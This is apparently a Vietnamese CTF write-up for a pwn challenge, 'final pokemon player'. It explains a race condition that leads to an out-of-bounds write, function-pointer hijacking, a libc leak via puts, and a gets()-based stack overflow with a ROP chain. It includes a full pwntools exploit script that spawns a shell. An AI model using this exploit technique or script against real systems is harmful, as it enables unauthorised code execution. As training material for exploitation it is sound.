final pokemon player

Vulnerability: toc-tou race condition -> out-of-bound write; arbitrary function pointer -> stack buffer overflow using gets()

December 30, 2025 December 20, 2025 Medium

Recon

Mitigation

Code

Sau một hồi reverse engineering thì mình xác định được 2 struct quan trọng như sau:

Pokemon struct

struct Pokemon
{
  char name[32];
  _DWORD hp;
  _DWORD atk;
  _QWORD func;
  char custom_name[32];
};

User struct

struct User
{
  _BYTE trainer[32];
  _DWORD money;
  _DWORD win_count;
  _BYTE quote[32];
  _DWORD level;
};

view_info()

int view_info()
{
  unsigned int i; // [rsp+4h] [rbp-Ch]
  Pokemon *pokemon; // [rsp+8h] [rbp-8h]

  puts("\n=== My Info ===");
  printf("Trainer: %s\n", user->trainer);
  printf("Money: $%u\n", user->money);
  printf("Win Count: %u\n", user->win_count);
  printf("Level: %u (based on Pokemon count)\n", user->level);
  if ( user->level > 4u )
    printf("Special Quote: %s\n", user->quote);
  printf("\n=== My Pokemons (%u/%d) ===\n", total_owned_pokemons, 5);
  for ( i = 0; i < total_owned_pokemons; ++i )
  {
    pokemon = (Pokemon *)owned_pokemons[i];
    if ( pokemon )
    {
      printf("\n%u. %s", i + 1, pokemon->custom_name);
      printf(" [%s]\n", pokemon->name);
      printf("   HP: %u, ATK: %u\n", pokemon->hp, pokemon->atk);
      if ( pokemon->func )
        ((void (*)(void))pokemon->func)();
    }
  }
  return putchar(10);
}

Hàm này cho phép mình thực thi hàm được con trỏ func trỏ đến của mỗi pokemon mình đã sở hữu. Ban đầu func được gán mặc định, nên mình nghĩ ngay đến mục tiêu là làm sao để ghi đè nó.

Ban đầu mình cố gắng tìm các sink nguy hiểm như read(), printf(), memcpy(), strlen(),… Và mình để ý memcpy() ở đoạn code này:

get_random_pokemon()

void *__fastcall get_random_pokemon(unsigned int *a1)
{
  unsigned int v2; // [rsp+1Ch] [rbp-24h]
  Pokemon *pokemon; // [rsp+28h] [rbp-18h]

  if ( (int)*a1 > 0 )
    sleep(*a1);
  if ( (unsigned int)total_owned_pokemons <= 4 )
  {
    v2 = rand() % (unsigned int)total_pokemons;
    pokemon = (Pokemon *)malloc(0x50u);
    memcpy(pokemon, &pokemons[v2], sizeof(Pokemon));
    *(_QWORD *)&pokemon->custom_name[strlen(pokemon->custom_name)] = ')dliW( ';
    owned_pokemons[total_owned_pokemons++] = pokemon;
    update_user_level();
  }
  free(a1);
  return 0;
}

Hàm này chọn ngẫu nhiên một pokemon trong danh sách pokemons, cấp phát một chunk cho nó, rồi thêm con trỏ vào owned_pokemons.

Vấn đề ở đây là chương trình tạo một thread riêng để thực thi hàm này, như thấy ở hàm:

use_item()

unsigned __int64 use_item()
{
		  ...
          if ( current_choice == 3 )
          {
            puts("Activating Auto Pokemon Finder...");
            arg = malloc(4u);
            v7 = rand() % 256;
            if ( v7 <= 0 )
              *(_DWORD *)arg = 2;
            else
              *(_DWORD *)arg = 0;
            pthread_create(&newthread, 0, (void *(*)(void *))get_random_pokemon, arg);
            pthread_detach(newthread);
            puts("Auto Finder activated! Searching in background...");
          }
          ...
}

Vậy mình nhận ra get_random_pokemon() bị dính toctou race condition khi kiểm tra (unsigned int)total_owned_pokemons <= 4 và khi sử dụng owned_pokemons[total_owned_pokemons++] = pokemon.

Giả sử hiện tại total_owned_pokemons = 3, mình tạo thật nhanh 2 thread sao cho 1 trong 2 thread chưa kịp thực thi owned_pokemons[total_owned_pokemons++] = pokemon và thread kia vừa thoả mãn điều kiện (unsigned int)total_owned_pokemons <= 4. Sau khi 2 thread chạy xong, total_owned_pokemons = 5, tuy nhiên total_owned_pokemons chỉ được <= 4, dẫn đến out-of-bound write:

Mình có thể ghi đè vào con trỏ user trỏ đến một pokemon nằm trên heap. Và sau đó mình có thể sửa thông tin user bằng hàm edit_info():

edit_info()

unsigned __int64 edit_info()
{
  User *v0; // rbx
  User *v1; // rbx
  int v3; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  puts("\n=== Edit Info ===");
  puts("1. Change trainer name");
  if ( user->level > 4u )
    puts("2. Change special quote");
  printf("Enter choice: ");
  fflush(stdout);
  if ( (unsigned int)__isoc99_scanf("%u", &v3) == 1 )
  {
    ...
    else if ( v3 == 2 && user->level > 4u )
    {
      printf("Enter new special quote: ");
      fflush(stdout);
      fgets(user->quote, 32, stdin);
      v1 = user;
      v1->quote[strcspn(user->quote, "\n")] = 0;
      puts("Special quote changed!");
    }
	 ...
}

Cụ thể là việc sửa quote của user đồng nghĩa với việc ghi đè vào con trỏ func của pokemon. Đồng nghĩa với thực thi hàm tuỳ ý.

Solve

Để thực thi hàm tuỳ ý, trước hết mình cần phải leak các địa chỉ quan trọng. Ban đầu các con trỏ func của pokemon được gán các hàm nằm trên binary, nên sau khi race thành công và ghi đè được con trỏ user, mình có thể view_info() để leak được binary base.

Mình mất kha khá thời gian ngồi nghĩ làm sao để leak được libc, nhưng cuối cùng mình tìm được một cách rất đơn giản. Mình break tại nơi func mà mình ghi đè được gọi:

Mình để ý thấy RDI (trên stack) đang trỏ ngay tới một địa chỉ trên libc. Vậy mình cần tìm một hàm nào đó trong binary có chức năng output mà tham số đầu tiên (RDI) là buffer cần in ra, cụ thể đó là puts().

Sau khi đã có được địa chỉ libc, mình nghĩ ngay tới ghi đè bằng one_gadget. Nhưng mình ko thích làm vậy bởi vì nó ko ổn định và phụ thuộc nhiều vào context của tiến trình, nên mình tìm hướng khác, và hướng phù hợp nhất bây giờ đó là ROP.

Mình lại lợi dụng con trỏ RDI, tìm một hàm thích input thích hợp có tham số đầu tiên là buffer cần ghi vào, và đó là hàm gets(). Biết rằng gets() input đến khi nào gặp \n thì dừng. Vậy mình có thể buffer overflow rất lớn tại RDI đang ở trên stack, thực hiện ROP.

Mình tạo một cyclic độ dài 0x500 để check offset:

Gửi vào gets() và mình có được sigsegv, offset đó là 1208:

Vậy padding 1208 byte và ROP chain là xong.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset

exe = ELF("pokemon-3c32fb036a87385b5caa4e3d1551788361ac296fbf3f24aec0fb92e3ce7ebbbf_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)

context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
breakrva 0x2257
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        return p
    else:
        host = "localhost"
        port = 1337
        return remote(host, port)

def buy_item(p, item):
    slan(p, b'Choice', 2)
    slan(p, b'Enter item number (0 to cancel)', 3)

def view_info(p):
    slan(p, b'Choice', 3)

def edit_quote(p, quote):
    slan(p, b'Choice', 4)
    slan(p, b'choice', 2)
    sla(p, b'new special quote', quote)

def use_item(p, item):
    slan(p, b'', 5)
    slan(p, b'', item)

p = None
success = False
attempt = 1
while not success:
    print(f"attemp racing {attempt}")
    p = conn()

    for i in range(6):
        buy_item(p, 3)

    for i in range(6):
        use_item(p, 1)

    sleep(0.1) # Adjust for remote
    for i in range(3):
        view_info(p)
        ru(p, b'Level: ')
        level = int(rn(p, 1), 10)
        if level > 5:
            success = True
            break
    
    attempt+=1
    if not success:
        p.close()

if args.GDB:
    gdb.attach(p, gdbscript=gdbscript)

if args.DEBUG:
    context.log_level = 'debug'

# Leak binary base
view_info(p)
ru(p, b'Special Quote: ')
exe.address = ((leak_bytes(rn(p, 6)) >> 12) << 12) - 0x1000
lg("binary base", exe.address)

# Leak libc base
edit_quote(p, p64(exe.plt['puts']))
view_info(p)
r = b'\0'
while r[0] != 54:
    r = rl(p)
rl(p)
rl(p)
libc.address = leak_bytes(rl(p).strip(), 0x620d0)
lg("libc base", libc.address)

# ROP
edit_quote(p, p64(libc.symbols['gets']))
view_info(p)
sl(p, flat(
    b'A' * 1208,
    libc.address + 0x00000000000378df, # nop
    libc.address + 0x000000000002a3e5, # pop rdi
    binsh(libc),
    libc.symbols['system']
))

# Profit
ia(p)